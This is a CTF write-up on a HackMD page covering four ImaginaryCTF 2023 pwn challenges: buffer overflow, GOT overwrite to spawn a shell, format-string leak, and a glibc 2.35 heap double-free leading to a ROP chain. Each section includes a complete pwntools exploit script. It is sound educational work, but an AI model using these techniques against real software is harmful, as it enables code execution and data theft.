Numero Uno Arroefy
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
      • Invitee
    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Versions and GitHub Sync Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
Invitee
Publish Note

Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

Your note will be visible on your profile and discoverable by anyone.
Your note is now live.
This note is visible on your profile and discoverable online.
Everyone on the web can find and read all notes of this public team.
See published notes
Unpublish note
Please check the box to agree to the Community Guidelines.
View profile
Engagement control
Commenting
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
  • Everyone
Suggest edit
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
Emoji Reply
Enable
Import from Dropbox Google Drive Gist Clipboard
   owned this note    owned this note      
Published Linked with GitHub
Subscribed
  • Any changes
    Be notified of any changes
  • Mention me
    Be notified of mention me
  • Unsubscribe
Subscribe
# First 4 pwn challenge - [ret2win](##ret2win) - [ret2lose](##ret2lose) - [form](##form) - [mailman](##mailman) ## ret2win ### Chall ```! Description Can you overflow the buffer and get the flag? (Hint: if your exploit isn't working on the remote server, look into stack alignment ``` First pwn challenge, the most solved challenge in this category surely, given the binary file and its source code so i don't need to fire up my ghidra. vuln.c : ```c= #include <stdio.h> #include <unistd.h> int main() { char buf[64]; gets(buf); } int win() { system("cat flag.txt"); } ``` As you can see, there's an obvious buffer overflow with gets, which we can overwrite return address and control rip, and there's win function that will give use flag, that's why this kind of challenge technique called ret2win same as the challenge name which mean we return to win function. ### Exploit To exploit buffer overflow vulnerability we have to fill up stack frame until we got into the return address. ![stack frame](https://upload.wikimedia.org/wikipedia/commons/d/d3/Call_stack_layout.svg) just to give you some of the basic visualisation (i just randomly grab some image on google by typing stack frame), stack frame is something in between rsp and rbp register, return address is something that saved function address. So when a function done execute its instruction it go back to the function that called him, for example if main called gets it will saved address of main somewhere in stack and that's what we call return address, and by overwriting it we can control the flow of the program.This was the most basic challenge in pwn so no need to explain any further. Final Solver : ```python= from pwn import * elf = context.binary = ELF('./vuln', checksec=False) # libc = ELF('libc.so.6', checksec=False) context.update( terminal='kitty', log_level='debug' ) c = ''' b* 0x0000000000401179 c ''' p = remote('ret2win.chal.imaginaryctf.org', 1337) # p = elf.process() # gdb.attach(p,c) payload = b'a'*72+p64(0x000000000040101a)+p64(elf.sym.win) p.sendline(payload) p.interactive() ``` ### Flag ```! ictf{r3turn_0f_th3_k1ng?} ``` ## ret2lose ### Chall ```! Description You overflowed the buffer and got the flag... but can you get my other flag? (Remote and binary are the same as in the challenge ret2win, but you have to get a shell this time) ``` It's the same challenge as the earlier challenge, this time we have to spawn shell not just calling win function, there's a technique called ret2libc but libc wasn't given so we have to think a bit more creative this time. ### Exploit For someone has done ret2libc before you may know that we have to leak libc first and bla bla set rdi call system, but there aren't any puts or write function, something that will printed out the leak to stdout so we got no leak. Before going any further it's good practice to check the mitigations first ```shell ❯ checksec vuln [*] '/home/yqroo/Documents/ctf/imaginary2023/pwn/ret2lose/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` so there's no canary, PIE was off, and we can overwrite GOT Table. The reason i don't do this earlier was because i'm pretty sure canary and pie was off and no need to check for RELRO, this time to be able to overwrite GOT for my exploit script to works is a must. Let me explain my idea, first i think i have to resolve the system so i want to call win function first but turns out that's not really useful so i just comment it out, what i mean by resolve is that when libc function in got table got executed the address will be a libc address not more a plt address, but this was nothing useful as i said earlier, because we don't need to leak something and if we have to leak we can leak other function that has been resolved for e.g puts of course this is for another challenge. So, we'll jump to main when the instruction is `lea rax, [rbp-0x40]`, oh let me give you the full main disassemble to understand better. ``` 0x0000000000401156 <+0>: endbr64 0x000000000040115a <+4>: push rbp 0x000000000040115b <+5>: mov rbp,rsp 0x000000000040115e <+8>: sub rsp,0x40 0x0000000000401162 <+12>: lea rax,[rbp-0x40] 0x0000000000401166 <+16>: mov rdi,rax 0x0000000000401169 <+19>: mov eax,0x0 0x000000000040116e <+24>: call 0x401060 <gets@plt> 0x0000000000401173 <+29>: mov eax,0x0 0x0000000000401178 <+34>: leave 0x0000000000401179 <+35>: ret ``` basically we jump to `lea rax, [rbp-0x40]` so we can control rdi, because i don't see any `pop rdi` gadget in `ropper`, but we have to also set the rbp before ret to main again the buffer size is 64 and there's rbp after that that rbp we have to set to GOT gets + 0x40 (`elf.got.gets + 0x40`) and that will set our rdi to GOT gets, and for this gets we'll input system plt, and basically overwrite return address again and call main once again, but there's more in payload let me break it down. ```python= payload = flat( elf.plt.system, b'a'*0x30, b'/bin/sh\x00', 0x404058+0x40, # RBP, -0x40 will be /bin/sh address 0x0000000000401179, p64(0x0000000000401016)*401, # add rsp+8, ret 0x0000000000401179, # ret 0x0000000000401179, # ret 0x0000000000401162 # lea rax [rbp-0x40] ) ``` i set `/bin/sh` to the buffer, and because this was on the bss section i can calculate the address (just do basic math with the address of GOT gets), one thing that must be underlined is the `add rsp+8` gadget, when we don't use it in our system call it will be segfaulting because trying to write to non-writeable address (not in bss anymore), so i need to add more rsp so it can works after i tested it out there's some amount of rsp that we have to add if we add too little we'll get segfault because of the earlier reason or the system call argument doesn't get pass correctly `system(<some random address>)`, my teammates said that was because there were to many args when we call `posix_spawn` so we need to reduce the stack frame by adding more rsp, in my local machine 219 add rsp+8 gadget was enough but in remote server i tested it was 390-400 ish add rsp gadgets. Final Solver : ```python= from pwn import * elf = context.binary = ELF('./vuln', checksec=False) # libc = ELF('libc.so.6', checksec=False) context.update( terminal='kitty', log_level='debug' ) c = ''' set follow-fork-mode parent bp do_system+353 c ''' p = remote('ret2win.chal.imaginaryctf.org', 1337) # p = elf.process() # gdb.attach(p,c) # resolve system but not useful # payload = flat( # b'a'*64, # 0x0000000000401179, # ret # 0x0000000000401179, # ret # elf.sym.win, # elf.sym.main # ) # p.sendline(payload) payload = flat( b'a'*64, elf.got.gets+0x40, 0x0000000000401179, # ret 0x401162 # main -> lea rax, [rbp-0x40] ) p.sendline(payload) payload = flat( elf.plt.system, b'a'*0x30, b'/bin/sh\x00', 0x404058+0x40, # RBP, -0x40 will be /bin/sh address 0x0000000000401179, p64(0x0000000000401016)*401, # add rsp+8, ret 0x0000000000401179, # ret 0x0000000000401179, # ret 0x0000000000401162 # lea rax [rbp-0x40] ) p.sendline(payload) p.interactive() ``` ### Flag ```! ictf{ret2libc?_what_libc?} ``` ## Form ### Chall ```! Description The obligatory format string challenge comes back, but with a twist. ``` Me personally think this challenge is the easiest among the pwn category, because we don't really need a script to solve it, but yeah we have to know the trick, this challenge vuln was format string (actually one of my favourite pwn challenge because easy and fun). Disassembly : ```assembly! pwndbg> disass main Dump of assembler code for function main: 0x0000555555555209 <+0>: endbr64 0x000055555555520d <+4>: push rbp 0x000055555555520e <+5>: mov rbp,rsp 0x0000555555555211 <+8>: sub rsp,0x20 0x0000555555555215 <+12>: mov rax,QWORD PTR fs:0x28 0x000055555555521e <+21>: mov QWORD PTR [rbp-0x8],rax 0x0000555555555222 <+25>: xor eax,eax 0x0000555555555224 <+27>: mov edi,0x20 0x0000555555555229 <+32>: call 0x555555555100 <malloc@plt> 0x000055555555522e <+37>: mov QWORD PTR [rbp-0x18],rax 0x0000555555555232 <+41>: mov edi,0x20 0x0000555555555237 <+46>: call 0x555555555100 <malloc@plt> 0x000055555555523c <+51>: mov QWORD PTR [rbp-0x20],rax 0x0000555555555240 <+55>: mov rax,QWORD PTR [rip+0x2dd9] # 0x555555558020 <stdin@GLIBC_2.2.5> 0x0000555555555247 <+62>: mov esi,0x0 0x000055555555524c <+67>: mov rdi,rax 0x000055555555524f <+70>: call 0x5555555550d0 <setbuf@plt> 0x0000555555555254 <+75>: mov rax,QWORD PTR [rip+0x2db5] # 0x555555558010 <stdout@GLIBC_2.2.5> 0x000055555555525b <+82>: mov esi,0x0 0x0000555555555260 <+87>: mov rdi,rax 0x0000555555555263 <+90>: call 0x5555555550d0 <setbuf@plt> 0x0000555555555268 <+95>: lea rax,[rip+0xd95] # 0x555555556004 0x000055555555526f <+102>: mov rsi,rax 0x0000555555555272 <+105>: lea rax,[rip+0xd8d] # 0x555555556006 0x0000555555555279 <+112>: mov rdi,rax 0x000055555555527c <+115>: call 0x555555555110 <fopen@plt> 0x0000555555555281 <+120>: mov QWORD PTR [rbp-0x10],rax 0x0000555555555285 <+124>: mov rdx,QWORD PTR [rbp-0x10] 0x0000555555555289 <+128>: mov rax,QWORD PTR [rbp-0x18] 0x000055555555528d <+132>: mov esi,0x20 0x0000555555555292 <+137>: mov rdi,rax 0x0000555555555295 <+140>: call 0x5555555550f0 <fgets@plt> 0x000055555555529a <+145>: mov rdx,QWORD PTR [rip+0x2d7f] # 0x555555558020 <stdin@GLIBC_2.2.5> 0x00005555555552a1 <+152>: mov rax,QWORD PTR [rbp-0x20] 0x00005555555552a5 <+156>: mov esi,0x20 0x00005555555552aa <+161>: mov rdi,rax 0x00005555555552ad <+164>: call 0x5555555550f0 <fgets@plt> 0x00005555555552b2 <+169>: lea rax,[rbp-0x20] 0x00005555555552b6 <+173>: mov QWORD PTR [rbp-0x18],rax 0x00005555555552ba <+177>: mov rax,QWORD PTR [rbp-0x18] 0x00005555555552be <+181>: mov rdi,rax 0x00005555555552c1 <+184>: call 0x5555555550c0 <strlen@plt> 0x00005555555552c6 <+189>: cmp rax,0x17 0x00005555555552ca <+193>: ja 0x5555555552dd <main+212> 0x00005555555552cc <+195>: mov rax,QWORD PTR [rbp-0x20] 0x00005555555552d0 <+199>: mov rdi,rax 0x00005555555552d3 <+202>: mov eax,0x0 0x00005555555552d8 <+207>: call 0x5555555550e0 <printf@plt> 0x00005555555552dd <+212>: mov edi,0x0 0x00005555555552e2 <+217>: call 0x5555555550b0 <_exit@plt> ``` Or if you prefer a decompilation : ```c= void main(void) { size_t sVar1; long in_FS_OFFSET; char *local_28; char **local_20; FILE *local_18; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); local_20 = (char **)malloc(0x20); local_28 = (char *)malloc(0x20); setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); local_18 = fopen("flag.txt","r"); fgets((char *)local_20,0x20,local_18); fgets(local_28,0x20,stdin); local_20 = &local_28; sVar1 = strlen((char *)local_20); if (sVar1 < 0x18) { printf(local_28); } /* WARNING: Subroutine does not return */ _exit(0); } ``` Okay so the program malloc 2 chunk, first chunk will be the buffer for flag.txt, the second one is for our input buffer, and there's length restriction in our input so our payload must be small, well doesn't have to make a long one for this challenge. ### Exploit How our stack looks like after the printf : ``` 00:0000│ rsp 0x7fffffffda60 —▸ 0x5555555592d0 ◂— 'just checking\n' 01:0008│ 0x7fffffffda68 —▸ 0x7fffffffda60 —▸ 0x5555555592d0 ◂— 'just checking\n' 02:0010│ 0x7fffffffda70 —▸ 0x555555559300 ◂— 0xfbad2488 03:0018│ 0x7fffffffda78 ◂— 0xa91ab74e38e68900 04:0020│ rbp 0x7fffffffda80 ◂— 0x1 05:0028│ 0x7fffffffda88 —▸ 0x7ffff7dd7850 (__libc_start_call_main+128) ◂— mov edi, eax 06:0030│ 0x7fffffffda90 —▸ 0x7fffffffdb80 —▸ 0x7fffffffdb88 ◂— 0x38 /* '8' */ 07:0038│ 0x7fffffffda98 —▸ 0x555555555209 (main) ◂— endbr64 ``` as u can see there's our heap address in stack, and there's a stack address that point to our heap. So, the idea is overwrite the stack address that point to heap with just one byte, this one so the stack address will point to our heap that contain flag. ``` 01:0008│ 0x7fffffffda68 —▸ 0x7fffffffda60 —▸ 0x5555555592d0 ◂— 'just checking\n' ``` and then we can leak the flag with `%s`, this address since it will be overwritten to flag heap ``` 00:0000│ rsp 0x7fffffffda60 —▸ 0x5555555592d0 ◂— 'just checking\n' ``` We have to use non-positional format to execute our first idea (overwrite stack to point to flag heap) and we can use the `$` to access the stack that have been overwritten. The payload is : ``` %c%c%c%c%c%155c%hhn%6$s ``` we stack up `%c`until we hit the 6th stack, the 7th format will be the payload to overwrite one byte `%hhn` this will overwrite 7th stack one byte, 155 is a padding, we want to overwrite the heap to 0xa0 in the end(0xa0 is 160) but since we already have 5 `%c` earlier we have to substract it with 5, and with that the overwrite will be saved, so when we do `%6$s` this will actually going to treat the 6th stack as string and actually leak out our flag. note : stack i provided earlier is stack after printf and stack i talked about is when we do `%p` since some of the earlier stack is something that use in internal printf cmiiw though. Final Solver : ```python= from pwn import * # elf = context.binary = ELF('./vuln', checksec=False) # libc = ELF('libc.so.6', checksec=False) context.update( terminal='kitty', log_level='debug' ) c = ''' b* main c ''' p = remote('form.chal.imaginaryctf.org', 1337) # p = elf.process() # gdb.attach(p,c) # p.sendline(b'%p %p %p %p %p %p %p %p %p %p') # p.sendline(b'%c%c%c%c%c%c%p') p.sendline(b'%c'*5 + f'%{0xa0-5}c%hhn%6$s'.encode()) p.recvuntil(b'\xd0') print(p.recvline(0)) p.interactive() ``` ### Flag ```! ictf{ngl_kinda_bored_of_these} ``` ## mailman ### Chall ```! Description I'm sure that my post office is 100% secure! It uses some of the latest software, unlike some of the other post offices out there... Flag is in ./flag.txt. ``` I'm still trying to learn heap exploitation there's not many technique that i understand, but for this one i use fastbin dup and double free since it have uaf but doesn't have edit function, i won't explain each function of the program just my idea on how i approach this challenge. Btw there's a seccomp used, and this is what they restrict us ```shell ❯ seccomp-tools dump ./vuln line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011 0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010 0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010 0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010 0008: 0x15 0x01 0x00 0x00000005 if (A == fstat) goto 0010 0009: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00000000 return KILL ``` basically open, read, write is what we have to do to get flag. libc version (2.35) : ```shell! ❯ strings libc.so.6| grep ubuntu GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35. <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>. GCC: (Ubuntu 11.2.0-19ubuntu1) 11.2.0 ``` mitigations : ``` ❯ checksec vuln [*] '/home/yqroo/Documents/ctf/imaginary2023/pwn/mailman/vuln' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` ### Exploit Because this is libc 2.35 there's safe linking procedure, just add demale and mangle function into exploit to resolve it ```python= def demangle(addr:int) -> int: mid = addr >> 12 ^ addr ril = mid >> 24 ^ mid return ril def mangle(leak:int, target:int) -> int: return leak >> 12 ^ target ``` When i first saw this challenge what comes to my mind is somehow we have to do rop orw so we have to get libc address and stack address, if we successfully leak libc we can leak stack also from libc environ. By getting a chunk in unsorted bin we can leak libc, to do it we have to fill up tcache first, and big enough chunk won't get to fastbin it goes to unsorted bin instead. ```python= for i in range(7): add(i, 0x100, f'{i}'.encode()*0x10) add(7, 0x100, b'UNSORTED BIN') for i in range(7): # fill tcache free(i) add(8, 0x20, b'NO CORRUPT') # it's a must so top chunk doesn't get corrupted free(7) # will go to unsorted bin read(7) # leak libc.address = u64(p.recvline(0).ljust(8,b'\x00')) - libc.sym.main_arena - 96 info('%x', libc.address) ``` also we have to leak libc ```python= read(1) heap = u64(p.recvline(0).ljust(8,b'\x00')) heap = demangle(heap) info('%x', heap) ``` so if we don't use demangle we won't get the same address as our heap, and sometimes this will get us in trouble. after we got libc and heap, we'll do fastbin dup and double free so we can change the tcache structure so it's point to libc environ and libc environ has stack address in it. ```python= for i in range(7): add(i, 0x40, f'{i}'.encode()*0x10) add(7, 0x40, b'a') add(8, 0x40, b'b') add(9, 0x40, b'c') for i in range(7): free(i) free(7) free(8) free(7) # double free for i in range(7): add(i, 0x40, f'{i}'.encode()*0x10) # retrieve tcache add(7, 0x40, p64(mangle(heap, libc.sym.environ))) # add our libc environ have to be mangle first add(8, 0x40, b'./flag.txt\x00') # we'll use this later for rop payload add(9, 0x40, b'awikwokwk') # rubish add(10, 0x40, b'') # our libc environ address the stack get overwritten ``` i'll give some visualization for double free ``` <chunk 1 > --> <chunk 2 > --> <chunk 1> ``` that's what will happen to your heap in fastbin, we can't do that in tcache because of libc mitigations. so our 7 (heap with index 7) will point to `<chunk 1>`, we malloc to it again and input our libc environ, so it will be something like ``` <chunk 2> --> <chunk 1> --> <libc environ> --> <stack not valid> ``` that's happen in tcache since we have retrieve all the tcache before malloc 7, then we malloc again 3 times, the last malloc will overwrite libc environ so we can read 10 to leak because fgets terminate input with null. to leak the stack i try to do something creative, i don't know if this will works in other machine but this also works in remote, well my solver really is not stable but doesn't care i solved it with this. ```python= add(11, 0x40, b'STACK') free(11) read(11) flag = heap + 2624 # earlier ./flag.txt rip = mangle(libc.sym.environ, mangle(heap, u64(p.recvline(0).ljust(8, b'\x00')))) - 0x190 # mangle 2 times info('%x', rip) ``` so um i honestly don't know, i thought when i add 1 more chunk the not valid stack will get allocated but not i got another heap address that will point to that's not valid stack, here the visualization ``` <chunk out of no where> --> <not valid stack> ``` i read it and mangle it 2 times with libc heap and libc environ, we can't use demangle because that's not heap, let's go through the safe linking first. So if we free chunk it will get encrypted it with mangle ``` <freshly freed> --> <free earlier> free earlier = freshly freed >> 12 ^ free earlier but actuall address ``` that'some shitty explanation but i hope you understand, so we have to mangle it to get to address of stack that been mangled by libc environ address, then we mangle back to get actuall stack that libc environ originally has, please don't be confused on this, for further explanation if we have a heap address to get its original address we can do demangle because we don't really need a seccond value as the key xor, we can recover that because address of heap (if it's not differ to much) the first couple byte will be the same so demangle works. but if we have libc injected we have to use mangle becuase the xor key is heap and first couple byte isn't the same, hope that's explain. we get our libc address and stack address, we will have to malloc to stack to do rop but where though?? well we have to malloc in return address but remember chunk have to be perfectly aligned (not 0x8), so rip-8 is good. for my solver i'm really trying to malloc to return address but somehow it crash, what i mean by crash is we can't malloc there or something, i don't know it hard to debug why this happen, then i decided to calculate a return address of a function (doesn't remember) and get -0x190 from libc environ, but yes it's also crash and when i calculate again in many function it return -0x160 and yes this CRASHHH!! then i tried to add `sleep(1)` before last payload subtract more -0x170 .. until -0x190 and it works?? what??, there's to many thing i don't understand i'm sorry for being silly but the return address is -0x190 from stack libc environ, accept it. the rop payload is divided by 2 because the size isn't enough. ```python= rop1 = flat( ret, rax, 0x2, rdi, flag, rsi, 0x0, syscall, rax, 0x0, rdi, 0x3, rsi, rip-0x60, ) rop2 = flat( rdx_r12, 0x60, 0x00, syscall, rax, 0x1, rdi, 0x1, syscall ) ``` rop2 will be malloced at `rip-8+len(rop1)` while the rop1 is the problem i earlier told (crash when malloc or something, idk), the rop payload it self is just a basic orw syscall payload. and that's it, the program printed us flag heap heap hoorayy, this is the most pain chall that i solved since i'm heapy noob. Final Solver : ```python= from pwn import * elf = context.binary = ELF('./vuln', checksec=False) libc = ELF('libc.so.6', checksec=False) context.update( terminal='kitty', log_level='debug' ) def add(idx:int, size:int, msg:bytes): # write p.sendlineafter(b'> ', b'1') p.sendlineafter(b'idx: ',f'{idx}'.encode()) p.sendlineafter(b'letter size: ',f'{size}'.encode()) p.sendlineafter(b'content: ', msg) def free(idx:int): # send p.sendlineafter(b'> ', b'2') p.sendlineafter(b'idx: ',f'{idx}'.encode()) def read(idx:int): # read p.sendlineafter(b'> ', b'3') p.sendlineafter(b'idx: ',f'{idx}'.encode()) def demangle(addr:int) -> int: mid = addr >> 12 ^ addr ril = mid >> 24 ^ mid return ril def mangle(leak:int, target:int) -> int: return leak >> 12 ^ target p = remote('mailman.chal.imaginaryctf.org', 1337) # p = elf.process() for i in range(7): add(i, 0x100, f'{i}'.encode()*0x10) add(7, 0x100, b'UNSORTED BIN') for i in range(7): free(i) add(8, 0x20, b'NO CORRUPT') free(7) read(7) libc.address = u64(p.recvline(0).ljust(8,b'\x00')) - libc.sym.main_arena - 96 info('%x', libc.address) read(1) heap = u64(p.recvline(0).ljust(8,b'\x00')) heap = demangle(heap) info('%x', heap) for i in range(7): add(i, 0x40, f'{i}'.encode()*0x10) add(7, 0x40, b'a') add(8, 0x40, b'b') add(9, 0x40, b'c') for i in range(7): free(i) free(7) free(8) free(7) for i in range(7): add(i, 0x40, f'{i}'.encode()*0x10) add(7, 0x40, p64(mangle(heap, libc.sym.environ))) add(8, 0x40, b'./flag.txt\x00') add(9, 0x40, b'awikwokwk') add(10, 0x40, b'') add(11, 0x40, b'STACK') free(11) read(11) flag = heap + 2624 rip = mangle(libc.sym.environ, mangle(heap, u64(p.recvline(0).ljust(8, b'\x00')))) - 0x190 info('%x', rip) rax = libc.address + 0x0000000000045eb0 rdi = libc.address + 0x000000000002a3e5 rsi = libc.address + 0x00000000001303b2 rdx_r12 = libc.address + 0x000000000011f497 ret = libc.address + 0x00000000000f90e1 syscall = libc.address + 0x0000000000091396 rop1 = flat( ret, rax, 0x2, rdi, flag, rsi, 0x0, syscall, rax, 0x0, rdi, 0x3, rsi, rip-0x60, ) rop2 = flat( rdx_r12, 0x60, 0x00, syscall, rax, 0x1, rdi, 0x1, syscall ) for i in range(7): add(i, 0x60, f'{i}'.encode()*0x10) add(7, 0x60, b'a') add(8, 0x60, b'b') add(9, 0x60, b'c') for i in range(7): free(i) free(7) free(8) free(7) read(6) heap = u64(p.recvline(0).ljust(8,b'\x00')) heap = demangle(heap) info('%x', heap) for i in range(7): add(i, 0x60, f'{i}'.encode()*0x10) info('%x',rip-8) add(7, 0x60, p64(mangle(heap, rip-8+len(rop1)))) add(8, 0x60, b'awikwokwk') add(9, 0x60, b'awikwokwk') add(10, 0x60, rop2) for i in range(7): add(i, 0x71, f'{i}'.encode()*0x10) add(7, 0x71, b'a') add(8, 0x71, b'b') add(9, 0x71, b'c') for i in range(7): free(i) free(7) free(8) free(7) read(7) heap = u64(p.recvline(0).ljust(8,b'\x00')) heap = demangle(heap) info('%x', heap) for i in range(7): add(i, 0x71, f'{i}'.encode()*0x10) add(7, 0x71, p64(mangle(heap, rip-8))) add(8, 0x71, b'awikwokwk') add(9, 0x71, b'awikwokwk') c = f''' b* {syscall} c ''' # gdb.attach(p,c) # print(hex(rip)) sleep(1) add(10, 0x71, rop1) p.interactive() ``` ### Flag ``` ictf{i_guess_the_post_office_couldnt_hide_the_heapnote_underneath_912b123f} ``` ## Author's note May this writeups help you :+1: All the solver available at : [Github Page](https://github.com/UnoArroefy/CTF-Writeups/tree/main/ictf2023/pwn)

Import from clipboard

Paste your markdown or webpage here...

Advanced permission required

Your current role can only read. Ask the system administrator to acquire write and comment permission.

This team is disabled

Sorry, this team is disabled. You can't edit this note.

This note is locked

Sorry, only owner can edit this note.

Reach the limit

Sorry, you've reached the max length this note can be.
Please reduce the content or divide it to more notes, thank you!

Import from Gist

Import from Snippet

or

Export to Snippet

Are you sure?

Do you really want to delete this note?
All users will lose their connection.

Create a note from template

Create a note from template

Oops...
This template has been removed or transferred.
Upgrade
All
  • All
  • Team
No template.

Create a template

Upgrade

Delete template

Do you really want to delete this template?
Turn this template into a regular note and keep its content, versions, and comments.

This page need refresh

You have an incompatible client version.
Refresh to update.
New version available!
See releases notes here
Refresh to enjoy new features.
Your user state has changed.
Refresh to load new user state.

Sign in

Forgot password

or

By clicking below, you agree to our terms of service.

Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
Wallet ( )
Connect another wallet

New to HackMD? Sign up

Help

  • English
  • 中文
  • Français
  • Deutsch
  • 日本語
  • Español
  • Català
  • Ελληνικά
  • Português
  • italiano
  • Türkçe
  • Русский
  • Nederlands
  • hrvatski jezik
  • język polski
  • Українська
  • हिन्दी
  • svenska
  • Esperanto
  • dansk

Documents

Help & Tutorial

How to use Book mode

Slide Example

API Docs

Edit in VSCode

Install browser extension

Contacts

Feedback

Discord

Send us email

Resources

Releases

Pricing

Blog

Policy

Terms

Privacy

Cheatsheet

Syntax Example Reference
# Header Header 基本排版
- Unordered List
  • Unordered List
1. Ordered List
  1. Ordered List
- [ ] Todo List
  • Todo List
> Blockquote
Blockquote
**Bold font** Bold font
*Italics font* Italics font
~~Strikethrough~~ Strikethrough
19^th^ 19th
H~2~O H2O
++Inserted text++ Inserted text
==Marked text== Marked text
[link text](https:// "title") Link
![image alt](https:// "title") Image
`Code` Code 在筆記中貼入程式碼
```javascript
var i = 0;
```
var i = 0;
:smile: :smile: Emoji list
{%youtube youtube_id %} Externals
$L^aT_eX$ LaTeX
:::info
This is a alert area.
:::

This is a alert area.

Versions and GitHub Sync
Get Full History Access

  • Edit version name
  • Delete

revision author avatar     named on  

More Less

Note content is identical to the latest version.
Compare
    Choose a version
    No search result
    Version not found
Sign in to link this note to GitHub
Learn more
This note is not linked with GitHub
 

Feedback

Submission failed, please try again

Thanks for your support.

On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

Please give us some advice and help us improve HackMD.

 

Thanks for your feedback

Remove version name

Do you want to remove this version name and description?

Transfer ownership

Transfer to
    Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

      Link with GitHub

      Please authorize HackMD on GitHub
      • Please sign in to GitHub and install the HackMD app on your GitHub repo.
      • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
      Learn more  Sign in to GitHub

      Push the note to GitHub Push to GitHub Pull a file from GitHub

        Authorize again
       

      Choose which file to push to

      Select repo
      Refresh Authorize more repos
      Select branch
      Select file
      Select branch
      Choose version(s) to push
      • Save a new version and push
      • Choose from existing versions
      Include title and tags
      Available push count

      Pull from GitHub

       
      File from GitHub
      File from HackMD

      GitHub Link Settings

      File linked

      Linked by
      File path
      Last synced branch
      Available push count

      Danger Zone

      Unlink
      You will no longer receive notification when GitHub file changes after unlink.

      Syncing

      Push failed

      Push successfully